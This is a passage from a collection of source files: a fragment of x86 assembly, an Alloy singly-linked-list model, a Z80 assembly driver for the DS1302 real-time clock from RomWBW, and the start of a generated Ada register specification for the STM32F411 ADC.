cld
rep movsb
lea esi,st_key.v
lea edi,st_key_mov__.v
mov ecx,sizeof st_key.v
rep movsb
ret
st_key_copy endp
|
alloy/SinglyLinkedList.als | yosefsaputra/alloy-korat-benchmark | 1 | 3461 | //It should have one header as a starting Node, it can link to another Node or null.
one sig SLL {
header: lone Node
}
//Node has a link which can be another Node or null.
sig Node {
link: lone Node
}
//There should be no cycle.
pred acyclic (l : SLL) {
all n : l.header.*link | n !in n.^link
}
fact {
SLL.header.*link = Node
}
run acyclic for 10
|
Source/HBIOS/dsrtc.asm | b1ackmai1er/RomWBW | 1 | 14306 | ;
;==================================================================================================
; DALLAS SEMICONDUCTOR DS1302 RTC DRIVER
;==================================================================================================
;
; PROGRAMMING NOTES:
; - ALL SIGNALS ARE ACTIVE HIGH
; - DATA OUTPUT (HOST -> RTC) ON RISING EDGE
; - DATA INPUT (RTC -> HOST) ON FALLING EDGE
; - SIMPLIFIED TIMING CONSTRAINTS:
; @ 50MHZ, 1 TSTATE IS WORTH 20NS, 1 NOP IS WORTH 80NS, 1 EX (SP), IX IS WORTH 23 460NS
; 1) AFTER CHANGING CE, WAIT 1US (2 X EX (SP), IX)
; 2) AFTER CHANGING CLOCK, WAIT 250NS (3 X NOP)
; 3) AFTER SETTING A DATA BIT, WAIT 50NS (1 X NOP)
; 4) PRIOR TO READING A DATA BIT, WAIT 200NS (3 X NOP)
;
; COMMAND BYTE:
;
; 7 6 5 4 3 2 1 0
; +-----+-----+-----+-----+-----+-----+-----+-----+
; | 1 | RAM | A4 | A3 | A2 | A1 | A0 | RD |
; | | ~CK | | | | | | ~WR |
; +-----+-----+-----+-----+-----+-----+-----+-----+
;
; REGISTER ADDRESSES (HEX / BCD):
;
; RD WR D7 D6 D5 D4 D3 D2 D1 D0 RANGE
; +----+----+----+----+----+----+----+----+----+----+-----------+
; | 81 | 80 | CH | 10 SECS | SEC | 00-59 |
; +----+----+----+----+----+----+----+----+----+----+-----------+
; | 83 | 82 | | 10 MINS | MIN | 00-59 |
; +----+----+----+----+----+----+----+----+----+----+-----------+
; | 85 | 84 | TF | 00 | PM | 10 | HOURS | 1-12/0-23 |
; +----+----+----+----+----+----+----+----+----+----+-----------+
; | 87 | 86 | 00 | 00 | 10 DATE | DATE | 1-31 |
; +----+----+----+----+----+----+----+----+----+----+-----------+
; | 89 | 88 | 00 | 10 MONTHS | MONTH | 1-12 |
; +----+----+----+----+----+----+----+----+----+----+-----------+
; | 8B | 8A | 00 | 00 | 00 | 00 | DAY | 1-7 |
; +----+----+----+----+----+----+----+----+----+----+-----------+
; | 8D | 8C | 10 YEARS | YEAR | 0-99 |
; +----+----+----+----+----+----+----+----+----+----+-----------+
; | 8F | 8E | WP | 00 | 00 | 00 | 00 | 00 | 00 | 00 | |
; +----+----+----+----+----+----+----+----+----+----+-----------+
; | 91 | 90 | TCS | DS | RS | |
; +----+----+----+----+----+----+----+----+----+----+-----------+
; | BF | BE | *CLOCK BURST* |
; +----+----+----+----+----+----+----+----+----+----+-----------+
; | C1 | C0 | | |
; | .. | .. | *RAM* | |
; | FD | FC | | |
; +----+----+----+----+----+----+----+----+----+----+-----------+
; | FF | FE | *RAM BURST* | |
; +----+----+----+----+----+----+----+----+----+----+-----------+
;
; CH=CLOCK HALT (1=CLOCK HALTED & OSC STOPPED)
; TF=12 HOUR (1) OR 24 HOUR (0)
; PM=IF 24 HOURS, 0=AM, 1=PM, ELSE 10 HOURS
; WP=WRITE PROTECT (1=PROTECTED)
; TCS=TRICKLE CHARGE ENABLE (1010 TO ENABLE)
; DS=TRICKLE CHARGE DIODE SELECT
; RS=TRICKLE CHARGE RESISTOR SELECT
;
; CONSTANTS
;
; RTC LATCH WRITE
; ---------------
;
; BIT SBC SBC-004 MFPIC N8 N8-CSIO MK4 SC130 SC131 SC126 MBC
; ----- ------- ------- ------- ------- ------- ------- ------- ------- --------------- -------
; D7 RTC_OUT RTC_OUT -- RTC_OUT RTC_OUT RTC_OUT -- -- RTC_OUT,I2C_SDA RTC_OUT
; D6 RTC_CLK RTC_CLK -- RTC_CLK RTC_CLK RTC_CLK -- -- RTC_CLK RTC_CLK
; D5 /RTC_WE /RTC_WE -- /RTC_WE /RTC_WE /RTC_WE -- -- /RTC_WE /RTC_WE
; D4 RTC_CE RTC_CE -- RTC_CE RTC_CE RTC_CE -- -- RTC_CE RTC_CE
; D3 NC CLKSEL /RTC_CE NC NC NC -- -- /SPI_CS2 CLKSEL
; D2 NC SPK RTC_CLK SPI_CS SPI_CS NC /SPI_CS1/SPI_CS1/SPI_CS1 SPK
; D1 -- -- RTC_WE SPI_CLK NC NC -- -- FS LED1
; D0 -- -- RTC_OUT SPI_DI NC NC -- -- I2C_SCL LED0
;
; RTC LATCH READ
; --------------
;
; D7 -- -- -- -- -- -- -- -- I2C_SDA --
; D6 CFG CFG -- SPI_DO CFG -- -- -- -- CFG
; D5 -- -- -- -- -- -- -- -- -- --
; D4 -- -- -- -- -- -- -- -- -- --
; D3 -- -- -- -- -- -- -- -- -- --
; D2 -- -- -- -- -- -- -- -- -- --
; D1 ---- -- -- -- -- -- -- -- -- CLKSEL
; D0 RTC_IN RTC_IN RTC_IN RTC_IN RTC_IN RTC_IN -- -- RTC_IN RTC_IN
;
#IF (DSRTCMODE == DSRTCMODE_STD)
;
DSRTC_IO .EQU RTCIO ; RTC PORT
;
DSRTC_DATA .EQU %10000000 ; BIT 7 IS RTC DATA OUT
DSRTC_CLK .EQU %01000000 ; BIT 6 IS RTC CLOCK (CLK)
DSRTC_RD .EQU %00100000 ; BIT 5 IS DATA DIRECTION (/WE)
DSRTC_CE .EQU %00010000 ; BIT 4 IS CHIP ENABLE (CE)
;
DSRTC_MASK .EQU %11110000 ; MASK FOR BITS WE OWN IN RTC LATCH PORT
DSRTC_IDLE .EQU %00100000 ; QUIESCENT STATE
;
RTCDEF .SET RTCDEF | DSRTC_IDLE ; FOR HBIOS MAINLINE
;
#DEFINE DSRTC_OPRVAL HB_RTCVAL
;
; VALUES FOR DIFFERENT BATTERY OR SUPERCAPACITOR CHARGE RATES
;
DS1d2k .EQU %10100101 ; 1 DIODE 2K RESISTOR (DEFAULT)
DS1d4k .EQU %10100110 ; 1 DIODE 4K RESISTOR
DS1d8k .EQU %10100111 ; 1 DOIDE 8K RESISTOR
DS2d2k .EQU %10101001 ; 2 DIODES 2K RESISTOR
DS2d4k .EQU %10101010 ; 2 DIODES 4K RESISTOR
DS2d8k .EQU %10101011 ; 2 DIODES 8K RESISTOR
;
#ENDIF
;
#IF (DSRTCMODE == DSRTCMODE_MFPIC)
;
DSRTC_IO .EQU $43 ; RTC PORT ON MF/PIC
;
DSRTC_DATA .EQU %00000001 ; BIT 0 IS RTC DATA OUT
DSRTC_CLK .EQU %00000100 ; BIT 2 IS RTC CLOCK (CLK)
DSRTC_WR .EQU %00000010 ; BIT 1 IS DATA DIRECTION (WE)
DSRTC_CE .EQU %00001000 ; BIT 3 CHIP ENABLE (/CE)
;
DSRTC_MASK .EQU %00001111 ; MASK FOR BITS WE OWN IN RTC LATCH PORT
DSRTC_IDLE .EQU %00001000 ; QUIESCENT STATE
;
#DEFINE DSRTC_OPRVAL DSRTC_RTCVAL
;
#ENDIF
;
DSRTC_BUFSIZ .EQU 7 ; 7 BYTE BUFFER (YYMMDDHHMMSSWW)
;
; RTC DEVICE PRE-INITIALIZATION ENTRY
;
DSRTC_PREINIT:
;
;; SET RELEVANT BITS IN RTC LATCH SHADOW REGISTER
;; TO THEIR QUIESENT STATE
;LD A,(DSRTC_OPRVAL) ; GET CURRENT SHADOW REG VAL
;AND ~DSRTC_MASK ; CLEAR OUR BITS
;OR DSRTC_IDLE ; SET OUR IDLE BITS
;LD (DSRTC_OPRVAL),A ; SAVE IT
;
CALL DSRTC_DETECT ; HARDWARE DETECTION
LD (DSRTC_STAT),A ; SAVE RESULT
RET NZ ; ABORT IF ERROR
;
; CHECK FOR CLOCK HALTED
CALL DSRTC_TSTCLK
JR Z,DSRTC_PREINIT1
;PRTS(" INIT CLOCK $")
LD HL,DSRTC_TIMDEF
CALL DSRTC_TIM2CLK
LD HL,DSRTC_BUF
CALL DSRTC_WRCLK
;
DSRTC_PREINIT1:
XOR A ; SIGNAL SUCCESS
RET ; DONE
;
; RTC DEVICE INITIALIZATION ENTRY
;
DSRTC_INIT:
LD A,(RTC_DISPACT) ; RTC DISPATCHER ALREADY SET?
OR A ; SET FLAGS
RET NZ ; IF ALREADY ACTIVE, ABORT
;
CALL NEWLINE ; FORMATTING
PRTS("DSRTC: MODE=$")
;
#IF (DSRTCMODE == DSRTCMODE_STD)
PRTS("STD$")
#ENDIF
#IF (DSRTCMODE == DSRTCMODE_MFPIC)
PRTS("MFPIC$")
#ENDIF
;
; PRINT RTC LATCH PORT ADDRESS
PRTS(" IO=0x$") ; LABEL FOR IO ADDRESS
LD A,DSRTC_IO ; GET IO ADDRESS
CALL PRTHEXBYTE ; PRINT IT
;
; CHECK PRESENCE STATUS
LD A,(DSRTC_STAT) ; GET DEVICE STATUS
OR A ; SET FLAGS
JR Z,DSRTC_INIT1 ; IF ZERO, ALL GOOD
PRTS(" NOT PRESENT$") ; NOT ZERO, H/W NOT PRESENT
OR $FF ; SIGNAL FAILURE
RET ; BAIL OUT
;
DSRTC_INIT1:
; DISPLAY CURRENT TIME
CALL PC_SPACE
LD HL,DSRTC_BUF
CALL DSRTC_RDCLK
LD HL,DSRTC_TIMBUF
CALL DSRTC_CLK2TIM
LD HL,DSRTC_TIMBUF
CALL PRTDT
;
#IF DSRTCCHG ; FORCE_RTC_CHARGE_ENABLE
LD C,$90 ; ACCESS CHARGE REGISTER
LD E,DS1d2k ; STD CHARGE VALUES
CALL DSRTC_WRBYTWP
#ENDIF
;
PRTS(" CHARGE=$") ; DISPLAY
CALL DSRTC_TSTCHG ; CHARGING
JR NZ,NOCHG1 ; STATUS
PRTS("ON$")
JR NOCHG2
NOCHG1:
PRTS("OFF$")
NOCHG2:
;
LD BC,DSRTC_DISPATCH
CALL RTC_SETDISP
;
XOR A ; SIGNAL SUCCESS
RET
;
; RTC DEVICE FUNCTION DISPATCH ENTRY
; A: RESULT (OUT), 0=OK, Z=OK, NZ=ERR
; B: FUNCTION (IN)
;
DSRTC_DISPATCH:
LD A,B ; GET REQUESTED FUNCTION
AND $0F ; ISOLATE SUB-FUNCTION
JP Z,DSRTC_GETTIM ; GET TIME
DEC A
JP Z,DSRTC_SETTIM ; SET TIME
DEC A
JP Z,DSRTC_GETBYT ; GET NVRAM BYTE VALUE
DEC A
JP Z,DSRTC_SETBYT ; SET NVRAM BYTE VALUE
DEC A
JP Z,DSRTC_GETBLK ; GET NVRAM DATA BLOCK VALUES
DEC A
JP Z,DSRTC_SETBLK ; SET NVRAM DATA BLOCK VALUES
DEC A
JP Z,DSRTC_GETALM ; GET ALARM
DEC A
JP Z,DSRTC_SETALM ; SET ALARM
DEC A
JP Z,DSRTC_DEVICE ; REPORT RTC DEVICE INFO
CALL SYSCHK
LD A,ERR_NOFUNC
OR A
RET
;
; NVRAM FUNCTIONS ARE NOT AVAILABLE IN SIMULATOR
;
DSRTC_GETBLK:
DSRTC_SETBLK:
DSRTC_GETALM:
DSRTC_SETALM:
CALL SYSCHK
LD A,ERR_NOTIMPL
OR A
RET
;
; RTC GET TIME
; A: RESULT (OUT), 0=OK, Z=OK, NZ=ERR
; HL: DATE/TIME BUFFER (OUT)
; BUFFER FORMAT IS BCD: YYMMDDHHMMSS
; 24 HOUR TIME FORMAT IS ASSUMED
;
DSRTC_GETTIM:
LD A,(DSRTC_STAT) ; GET DEVICE STATUS
OR A ; SET FLAGS
RET NZ ; BAIL OUT ON ERROR
;
PUSH HL ; SAVE ADR OF OUTPUT BUF
;
; READ THE CLOCK
LD HL,DSRTC_BUF ; POINT TO CLOCK BUFFER
CALL DSRTC_RDCLK ; READ THE CLOCK
LD HL,DSRTC_TIMBUF ; POINT TO TIME BUFFER
CALL DSRTC_CLK2TIM ; CONVERT CLOCK TO TIME
;
; NOW COPY TO REAL DESTINATION (INTERBANK SAFE)
LD A,BID_BIOS ; COPY FROM BIOS BANK
LD (HB_SRCBNK),A ; SET IT
LD A,(HB_INVBNK) ; COPY TO CURRENT USER BANK
LD (HB_DSTBNK),A ; SET IT
LD HL,DSRTC_TIMBUF ; SOURCE ADR
POP DE ; DEST ADR
LD BC,6 ; LENGTH IS 6 BYTES
#IF (INTMODE == 1)
DI
#ENDIF
CALL HB_BNKCPY ; COPY THE CLOCK DATA
#IF (INTMODE == 1)
EI
#ENDIF
;
; CLEAN UP AND RETURN
XOR A ; SIGNAL SUCCESS
RET ; AND RETURN
;
; RTC SET TIME
; A: RESULT (OUT), 0=OK, Z=OK, NZ=ERR
; HL: DATE/TIME BUFFER (IN)
; BUFFER FORMAT IS BCD: YYMMDDHHMMSS
; 24 HOUR TIME FORMAT IS ASSUMED
;
DSRTC_SETTIM:
LD A,(DSRTC_STAT) ; GET DEVICE STATUS
OR A ; SET FLAGS
RET NZ ; BAIL OUT ON ERROR
;
; COPY INCOMING TIME DATA TO OUR TIME BUFFER
LD A,(HB_INVBNK) ; COPY FROM CURRENT USER BANK
LD (HB_SRCBNK),A ; SET IT
LD A,BID_BIOS ; COPY TO BIOS BANK
LD (HB_DSTBNK),A ; SET IT
LD DE,DSRTC_TIMBUF ; DEST ADR
LD BC,6 ; LENGTH IS 6 BYTES
#IF (INTMODE == 1)
DI
#ENDIF
CALL HB_BNKCPY ; COPY THE CLOCK DATA
#IF (INTMODE == 1)
EI
#ENDIF
;
; WRITE TO CLOCK
LD HL,DSRTC_TIMBUF ; POINT TO TIME BUFFER
CALL DSRTC_TIM2CLK ; CONVERT TO CLOCK FORMAT
LD HL,DSRTC_BUF ; POINT TO CLOCK BUFFER
CALL DSRTC_WRCLK ; WRITE TO THE CLOCK
;
; CLEAN UP AND RETURN
XOR A ; SIGNAL SUCCESS
RET ; AND RETURN
;
; RTC GET NVRAM BYTE
; C: INDEX
; E: VALUE (OUTPUT)
;
DSRTC_GETBYT:
LD A,(DSRTC_STAT) ; GET DEVICE STATUS
OR A ; SET FLAGS
RET NZ ; BAIL OUT ON ERROR
LD A,C ; INDEX
SLA A ; SHIFT TO INDEX BITS
ADD A,$C1 ; CMD OFFSET
LD C,A ; SAVE READ CMD BYTE
CALL DSRTC_RDBYT ; DO IT
XOR A ; SIGNAL SUCCESS
RET ; DONE
;
; RTC SET NVRAM BYTE
; C: INDEX
; E: VALUE
;
DSRTC_SETBYT:
LD A,(DSRTC_STAT) ; GET DEVICE STATUS
OR A ; SET FLAGS
RET NZ ; BAIL OUT ON ERROR
LD A,C ; INDEX
SLA A ; SHIFT TO INDEX BITS
ADD A,$C0 ; CMD OFFSET
LD C,A ; SAVE WRITE CMD BYTE
CALL DSRTC_WRBYTWP ; DO IT
XOR A ; SIGNAL SUCCESS
RET ; DONE
;
; REPORT RTC DEVICE INFO
;
DSRTC_DEVICE:
LD D,RTCDEV_DS ; D := DEVICE TYPE
LD E,0 ; E := PHYSICAL DEVICE NUMBER
LD H,DSRTCMODE ; H := MODE
LD L,DSRTC_IO ; L := BASE I/O ADDRESS
XOR A ; SIGNAL SUCCESS
RET
;
; CONVERT DATA IN CLOCK BUFFER TO TIME BUFFER AT HL
;
DSRTC_CLK2TIM:
LD A,(DSRTC_YR)
LD (HL),A
INC HL
LD A,(DSRTC_MON)
LD (HL),A
INC HL
LD A,(DSRTC_DT)
LD (HL),A
INC HL
LD A,(DSRTC_HR)
LD (HL),A
INC HL
LD A,(DSRTC_MIN)
LD (HL),A
INC HL
LD A,(DSRTC_SEC)
LD (HL),A
RET
;
; CONVERT DATA IN TIME BUFFER AT HL TO CLOCK BUFFER
;
DSRTC_TIM2CLK:
PUSH HL
LD A,(HL)
LD (DSRTC_YR),A
INC HL
LD A,(HL)
LD (DSRTC_MON),A
INC HL
LD A,(HL)
LD (DSRTC_DT),A
INC HL
LD A,(HL)
LD (DSRTC_HR),A
INC HL
LD A,(HL)
LD (DSRTC_MIN),A
INC HL
LD A,(HL)
LD (DSRTC_SEC),A
POP HL
CALL TIMDOW
INC A ; CONVERT FROM 0-6 TO 1-7
LD (DSRTC_DAY),A
RET
;
; TEST CLOCK FOR CHARGE DATA
;
DSRTC_TSTCHG:
LD C,$91 ; CHARGE RESISTOR & DIODE VALUES
CALL DSRTC_RDBYT ; GET VALUE
LD A,E ; VALUE TO A
AND %11110000 ; CHECK FOR
CP %10100000 ; ... ENABLED FLAG
RET
;
; DETECT RTC HARDWARE PRESENCE
;
DSRTC_DETECT:
LD C,30 ; NVRAM INDEX 30
CALL DSRTC_GETBYT ; GET VALUE
LD A,E ; TO ACCUM
LD (DSRTC_TEMP),A ; SAVE IT
XOR $FF ; FLIP ALL BITS
LD E,A ; TO E
LD C,30 ; NVRAM INDEX 30
CALL DSRTC_SETBYT ; WRITE IT
LD C,30 ; NVRAM INDEX 30
CALL DSRTC_GETBYT ; GET VALUE
LD A,(DSRTC_TEMP) ; GET SAVED VALUE
XOR $FF ; FLIP ALL BITS
CP E ; COMPARE WITH VALUE READ
LD A,0 ; ASSUME OK
JR Z,DSRTC_DETECT1 ; IF MATCH, GO AHEAD
LD A,$FF ; ELSE STATUS IS ERROR
DSRTC_DETECT1:
PUSH AF ; SAVE STATUS
LD A,(DSRTC_TEMP) ; GET SAVED VALUE
LD C,30 ; NVRAM INDEX 30
CALL DSRTC_SETBYT ; SAVE IT
POP AF ; RECOVER STATUS
OR A ; SET FLAGS
RET ; DONE
;
; TEST CLOCK FOR VALID DATA
; READ CLOCK HALT BIT AND RETURN ZF BASED ON BIT VALUE
; 0 = RUNNING
; 1 = HALTED
;
DSRTC_TSTCLK:
LD C,$81 ; SECONDS REGISTER HAS CLOCK HALT FLAG
CALL DSRTC_RDBYT ; GET REGISTER VALUE
LD A,E ; VALUE TO A
AND %10000000 ; HIGH ORDER BIT IS CLOCK HALT
RET
;
; READ RAW BYTE
; C=READ CMD BYTE
; E=VALUE (OUTPUT)
;
DSRTC_RDBYT:
CALL DSRTC_START
LD E,C
CALL DSRTC_CMD
CALL DSRTC_GET
CALL DSRTC_END
RET
;
; WRITE RAW BYTE
; C=WRITE CMD BYTE
; E=VALUE
;
DSRTC_WRBYT:
CALL DSRTC_START
PUSH DE ; SAVE VALUE TO WRITE
LD E,C ; CMD TO E
CALL DSRTC_CMD
POP DE ; RESTORE VALUE
CALL DSRTC_PUT
CALL DSRTC_END
RET
;
; WRITE RAW BYTE W/ WRITE PROTECT BRACKETING
; C=WRITE CMD BYTE
; E=VALUE
;
DSRTC_WRBYTWP:
LD D,C ; WRITE CMD TO D
PUSH DE ; SAVE PARMS
;
; TURN OFF WRITE PROTECT
LD C,$8E ; CMD
LD E,0 ; WRITE PROTECT OFF
CALL DSRTC_WRBYT ; DO IT
;
; WRITE THE VALUE
POP DE ; RESTORE INPUTS
LD C,D ; WRITE CMD BACK TO C
CALL DSRTC_WRBYT ; DO IT
;
; TURN WRITE PROTECT BACK ON
LD C,$8E ; WRITE CMD TO D
LD E,$80 ; WRITE PROTECT ON
CALL DSRTC_WRBYT ; DO IT
;
RET
;
; BURST READ CLOCK DATA INTO BUFFER AT HL
;
DSRTC_RDCLK:
CALL DSRTC_START
LD E,$BF ; COMMAND = $BF TO BURST READ CLOCK
CALL DSRTC_CMD ; SEND COMMAND TO RTC
LD B,DSRTC_BUFSIZ ; B IS LOOP COUNTER
DSRTC_RDCLK1:
PUSH BC ; PRESERVE BC
CALL DSRTC_GET ; GET NEXT BYTE
LD (HL),E ; SAVE IN BUFFER
INC HL ; INC BUF POINTER
POP BC ; RESTORE BC
DJNZ DSRTC_RDCLK1 ; LOOP IF NOT DONE
JP DSRTC_END ; FINISH IT
;
; BURST WRITE CLOCK DATA FROM BUFFER AT HL
;
DSRTC_WRCLK:
CALL DSRTC_START
LD E,$8E ; COMMAND = $8E TO WRITE CONTROL REGISTER
CALL DSRTC_CMD ; SEND COMMAND
LD E,$00 ; $00 = UNPROTECT
CALL DSRTC_PUT ; SEND VALUE TO CONTROL REGISTER
CALL DSRTC_END ; FINISH IT
;
LD E,$BE ; COMMAND = $BE TO BURST WRITE CLOCK
CALL DSRTC_CMD ; SEND COMMAND TO RTC
LD B,DSRTC_BUFSIZ ; B IS LOOP COUNTER
DSRTC_WRCLK1:
PUSH BC ; PRESERVE BC
LD E,(HL) ; GET NEXT BYTE TO WRITE
CALL DSRTC_PUT ; PUT NEXT BYTE
INC HL ; INC BUF POINTER
POP BC ; RESTORE BC
DJNZ DSRTC_WRCLK1 ; LOOP IF NOT DONE
LD E,$80 ; ADD CONTROL REG BYTE, $80 = PROTECT ON
CALL DSRTC_PUT ; WRITE REQUIRED 8TH BYTE
JP DSRTC_END ; FINISH IT
;
; SEND COMMAND IN E TO RTC
; ALL RTC SEQUENCES MUST CALL THIS FIRST TO SEND THE RTC COMMAND.
; THE COMMAND IS SENT VIA A PUT. CE AND CLK ARE LEFT ASSERTED! THIS
; IS INTENTIONAL BECAUSE WHEN THE CLOCK IS LOWERED, THE FIRST BIT
; WILL BE PRESENTED TO READ (IN THE CASE OF A READ CMD).
;
; N.B. REGISTER A CONTAINS WORKING VALUE OF LATCH PORT AND MUST NOT
; BE MODIFIED BETWEEN CALLS TO DSRTC_CMD, DSRTC_PUT, AND DSRTC_GET.
;
; 0) ASSUME ALL LINES UNDEFINED AT ENTRY
; 1) DEASSERT ALL LINES (CE, RD, CLOCK, & DATA)
; 2) WAIT 1US
; 3) SET CE HI
; 4) WAIT 1US
; 5) PUT COMMAND
;
DSRTC_CMD:
LD A,(DSRTC_OPRVAL) ; INIT A WITH QUIESCENT STATE
OUT (DSRTC_IO),A ; WRITE TO PORT
CALL DLY2 ; DELAY 2 * 27 T-STATES
#IF (DSRTCMODE == DSRTCMODE_MFPIC)
AND ~DSRTC_CE ; ASSERT CE (LOW)
#ELSE
OR DSRTC_CE ; ASSERT CE (HIGH)
#ENDIF
OUT (DSRTC_IO),A ; WRITE TO RTC PORT
CALL DLY2 ; DELAY 2 * 27 T-STATES
CALL DSRTC_PUT ; WRITE IT
RET
;
; WRITE BYTE IN E TO THE RTC
; WRITE BYTE IN E TO THE RTC. CE IS IMPLICITY ASSERTED AT
; THE START. CE AND CLK ARE LEFT ASSERTED AT THE END IN CASE
; NEXT ACTION IS A READ.
;
; 0) ASSUME ENTRY WITH CE HI, OTHERS UNDEFINED
; 1) SET CLK LO
; 2) WAIT 250NS
; 3) SET DATA ACCORDING TO BIT VALUE
; 4) SET CLOCK HI
; 5) WAIT 250NS (CLOCK READS DATA BIT FROM BUS)
; 6) LOOP FOR 8 DATA BITS
; 7) EXIT WITH CE,CLK HI
;
DSRTC_PUT:
LD B,8 ; LOOP FOR 8 BITS
#IF (DSRTCMODE == DSRTCMODE_MFPIC)
OR DSRTC_WR ; SET WRITE MODE
#ELSE
AND ~DSRTC_RD ; SET WRITE MODE
#ENDIF
DSRTC_PUT1:
AND ~DSRTC_CLK ; SET CLOCK LOW
OUT (DSRTC_IO),A ; DO IT
CALL DLY1 ; DELAY 27 T-STATES
#IF (DSRTCMODE == DSRTCMODE_MFPIC)
RRA ; PREP ACCUM TO GET DATA BIT IN CARRY
RR E ; ROTATE NEXT BIT TO SEND INTO CARRY
RLA ; ROTATE BITS BACK TO CORRECT POSTIIONS
#ELSE
RLA ; PREP ACCUM TO GET DATA BIT IN CARRY
RR E ; ROTATE NEXT BIT TO SEND INTO CARRY
RRA ; ROTATE BITS BACK TO CORRECT POSTIIONS
#ENDIF
OUT (DSRTC_IO),A ; ASSERT DATA BIT ON BUS
OR DSRTC_CLK ; SET CLOCK HI
OUT (DSRTC_IO),A ; DO IT
CALL DLY1 ; DELAY 27 T-STATES
DJNZ DSRTC_PUT1 ; LOOP IF NOT DONE
RET
;
; READ BYTE FROM RTC, RETURN VALUE IN E
; READ THE NEXT BYTE FROM THE RTC INTO E. CE IS IMPLICITLY
; ASSERTED AT THE START. CE AND CLK ARE LEFT ASSERTED AT
; THE END. CLOCK *MUST* BE LEFT ASSERTED FROM DSRTC_CMD!
;
; 0) ASSUME ENTRY WITH CE HI, OTHERS UNDEFINED
; 1) SET RD HI AND CLOCK LOW
; 3) WAIT 250NS (CLOCK PUTS DATA BIT ON BUS)
; 4) READ DATA BIT
; 5) SET CLOCK HI
; 6) WAIT 250NS
; 7) LOOP FOR 8 DATA BITS
; 8) EXIT WITH CE,CLK,RD HI
;
DSRTC_GET:
LD E,0 ; INITIALIZE WORKING VALUE TO 0
LD B,8 ; LOOP FOR 8 BITS
#IF (DSRTCMODE == DSRTCMODE_MFPIC)
AND ~DSRTC_WR ; SET READ MODE
#ELSE
OR DSRTC_RD ; SET READ MODE
#ENDIF
DSRTC_GET1:
AND ~DSRTC_CLK ; SET CLK LO
OUT (DSRTC_IO),A ; WRITE TO RTC PORT
CALL DLY1 ; DELAY 2 * 27 T-STATES
PUSH AF ; SAVE PORT VALUE
IN A,(DSRTC_IO) ; READ THE RTC PORT
RRA ; DATA BIT TO CARRY
RR E ; SHIFT INTO WORKING VALUE
POP AF ; RESTORE PORT VALUE
OR DSRTC_CLK ; CLOCK BACK TO HI
OUT (DSRTC_IO),A ; WRITE TO RTC PORT
CALL DLY1 ; DELAY 27 T-STATES
DJNZ DSRTC_GET1 ; LOOP IF NOT DONE (13)
RET
;
; START A COMMAND SEQUENCE
; INITIATES A COMMAND SEQUENCE
; DOES NOT DESTROY ANY REGISTERS.
;
; 1) CAPTURE RTC LATCH BITS
;
DSRTC_START:
; SET RELEVANT BITS IN RTC LATCH SHADOW REGISTER
; TO THEIR QUIESENT STATE
PUSH AF
LD A,(DSRTC_OPRVAL) ; GET CURRENT SHADOW REG VAL
AND ~DSRTC_MASK ; CLEAR OUR BITS
OR DSRTC_IDLE ; SET OUR IDLE BITS
LD (DSRTC_OPRVAL),A ; SAVE IT
POP AF
RET
;
; COMPLETE A COMMAND SEQUENCE
; FINISHES UP A COMMAND SEQUENCE.
; DOES NOT DESTROY ANY REGISTERS.
;
; 1) SET ALL LINES BACK TO QUIESCENT STATE
;
DSRTC_END:
;PUSH AF
LD A,(DSRTC_OPRVAL) ; INIT A WITH QUIESCENT STATE
OUT (DSRTC_IO),A ; WRITE TO PORT
;POP AF
RET ; RETURN
;
; WORKING VARIABLES
;
DSRTC_STAT .DB 0 ; DEVICE STATUS (0=OK)
DSRTC_TEMP .DB 0 ; TEMP VALUE STORAGE
;
#IF (DSRTCMODE == DSRTCMODE_MFPIC)
DSRTC_RTCVAL .DB DSRTC_IDLE ; LOCAL LATCH SHADOW FOR MFPIC
#ENDIF
;
; DSRTC_BUF IS USED FOR BURST READ/WRITE OF CLOCK DATA TO DS-1302
; FIELDS BELOW MATCH ORDER OF DS-1302 FIELDS (BCD)
;
DSRTC_BUF:
DSRTC_SEC .DB 0 ; SECOND
DSRTC_MIN .DB 0 ; MINUTE
DSRTC_HR .DB 0 ; HOUR
DSRTC_DT .DB 0 ; DATE
DSRTC_MON .DB 0 ; MONTH
DSRTC_DAY .DB 0 ; DAY OF WEEK
DSRTC_YR .DB 0 ; YEAR
;
; DSRTC_TIMBUF IS TEMP BUF USED TO STORE TIME TEMPORARILY TO DISPLAY
; IT.
;
DSRTC_TIMBUF .FILL 6,0 ; 6 BYTES FOR GETTIM
;
; DSRTC_TIMDEF IS DEFAULT TIME VALUE TO INITIALIZE CLOCK IF IT IS
; NOT RUNNING.
;
DSRTC_TIMDEF: ; DEFAULT TIME VALUE TO INIT CLOCK
.DB $00,$01,$01 ; 2000-01-01
.DB $00,$00,$00 ; 00:00:00
|
stm32f4/stm32f411xx/svd/stm32_svd-adc.ads | ekoeppen/STM32_Generic_Ada_Drivers | 1 | 18744 | -- This spec has been automatically generated from STM32F411xx.svd
pragma Restrictions (No_Elaboration_Code);
pragma Ada_2012;
pragma Style_Checks (Off);
with System;
package STM32_SVD.ADC is
pragma Preelaborate;
---------------
-- Registers --
---------------
subtype SR_AWD_Field is STM32_SVD.Bit;
subtype SR_EOC_Field is STM32_SVD.Bit;
subtype SR_JEOC_Field is STM32_SVD.Bit;
subtype SR_JSTRT_Field is STM32_SVD.Bit;
subtype SR_STRT_Field is STM32_SVD.Bit;
subtype SR_OVR_Field is STM32_SVD.Bit;
-- status register
type SR_Register is record
-- Analog watchdog flag
AWD : SR_AWD_Field := 16#0#;
-- Regular channel end of conversion
EOC : SR_EOC_Field := 16#0#;
-- Injected channel end of conversion
JEOC : SR_JEOC_Field := 16#0#;
-- Injected channel start flag
JSTRT : SR_JSTRT_Field := 16#0#;
-- Regular channel start flag
STRT : SR_STRT_Field := 16#0#;
-- Overrun
OVR : SR_OVR_Field := 16#0#;
-- unspecified
Reserved_6_31 : STM32_SVD.UInt26 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SR_Register use record
AWD at 0 range 0 .. 0;
EOC at 0 range 1 .. 1;
JEOC at 0 range 2 .. 2;
JSTRT at 0 range 3 .. 3;
STRT at 0 range 4 .. 4;
OVR at 0 range 5 .. 5;
Reserved_6_31 at 0 range 6 .. 31;
end record;
subtype CR1_AWDCH_Field is STM32_SVD.UInt5;
subtype CR1_EOCIE_Field is STM32_SVD.Bit;
subtype CR1_AWDIE_Field is STM32_SVD.Bit;
subtype CR1_JEOCIE_Field is STM32_SVD.Bit;
subtype CR1_SCAN_Field is STM32_SVD.Bit;
subtype CR1_AWDSGL_Field is STM32_SVD.Bit;
subtype CR1_JAUTO_Field is STM32_SVD.Bit;
subtype CR1_DISCEN_Field is STM32_SVD.Bit;
subtype CR1_JDISCEN_Field is STM32_SVD.Bit;
